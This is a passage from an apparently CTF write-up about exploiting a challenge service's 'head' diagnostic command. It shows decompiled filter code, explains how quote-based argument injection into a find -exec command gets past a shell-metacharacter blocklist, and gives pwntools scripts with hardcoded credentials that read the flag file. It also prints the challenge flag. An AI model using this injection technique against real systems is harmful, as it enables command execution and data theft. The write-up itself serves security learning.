which means no command injections nor output redirections allowed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| void *execCmd(const char *a1, ...)
{
...
va_start(va, a1);
va_copy(v4, va);
while ( 1 )
{
v2 = va_arg(v4, const char *);
if ( !v2 )
break;
if ( strpbrk(v2, "&|;<>$`") )
{
perror("Trying to inject I see.\n");
return 0;
}
}
v7 = vsnprintf(0, 0, a1, va);
command = (char *)malloc(v7 + 1);
if ( command )
{
vsnprintf(command, v7 + 1, a1, va);
stream = popen(command, "r");
...
}
}
|
Plan and Exploit
Given the deduction that execCmd
does not allow command injections:
ls
is now useless.ping
can only be used to create the file /tmp/ping_log
head
should be a normal function, why is it hidden? and why it it being executed using this unusual find
command?
To be able to test head
further we need to perform the following steps:
- Authenticate.
- Use
setDiag
to set diag
to 1. - Use
ping
with 127.0.0.1
to create the file /tmp/ping_log
. - Run our first test:
head 4,/tmp/ping_log
The following script will be used to automate the process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| import sys
import pwn
def main(sni):
io = pwn.remote(sni, 443, ssl=True, sni=sni, level='error')
try:
io.sendlineafter(b"Username: ", b"admin")
io.sendlineafter(b"Password: ", b"notguessablebutnotcomplex")
io.sendlineafter(b"> ", b"setdiag 1")
io.sendlineafter(b"> ", b"ping 127.0.0.1")
io.recvuntil(b"> ")
io.interactive()
finally:
io.close()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(f"\t{sys.argv[0]} SNI")
exit(0)
main(sys.argv[1])
|
And we were able to confirm that it was working correctly:
Now, lets get back to the command being used and inspect our “injection” points:
1
| find /tmp/ -user 1002 -type f -path $PATH -exec head -n$COUNT "{}" \;
|
Our input is only being filtered for command injections but maybe we can do argument injection? find
supports multiple -exec
flags but each one has to be terminated with \;
which we cannot include in our input. Also commenting will comment the \;
which will cause an error with -exec
. What is something other than comments that can be ignored sometimes in code? STRINGS! We have two inputs, why not try to enclose the full thing in quotes so the command becomes:
1
| find /tmp/ -user 1002 -type f -path /tmp/ping_log " -exec head -n2 " "{}" \;
|
Testing this out succeeds in ignoring the -exec
but still errors out:
What if we enclose this inside another -exec
as we now have the \;
unscathed:
1
| find /tmp/ -user 1002 -type f -path /tmp/ping_log -exec echo " -exec head -n2 " "{}" \;
|
Testing this out, we actually get command execution!
Flag
The flag appears to be in /home/clid/flag.txt
similar to how it was with the httpd
challenge so we modify our script to the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| import sys
import pwn
def main(sni):
io = pwn.remote(sni, 443, ssl=True, sni=sni, level='error')
try:
io.sendlineafter(b"Username: ", b"admin")
io.sendlineafter(b"Password: ", b"notguessablebutnotcomplex")
io.sendlineafter(b"> ", b"setdiag 1")
io.sendlineafter(b"> ", b"ping 127.0.0.1")
io.sendlineafter(b"> ", b"head 1\",/tmp/ping_log -exec cat /home/clid/flag.txt \"")
print(io.recvline().decode(), end="")
finally:
io.close()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print(f"\t{sys.argv[0]} SNI")
exit(0)
main(sys.argv[1])
|
And sure enough running the exploit gets the flag: cyctf{y0u_f0und_th3_b4ckd00r_h1dd3n_b3tw33n_l1br4r13s}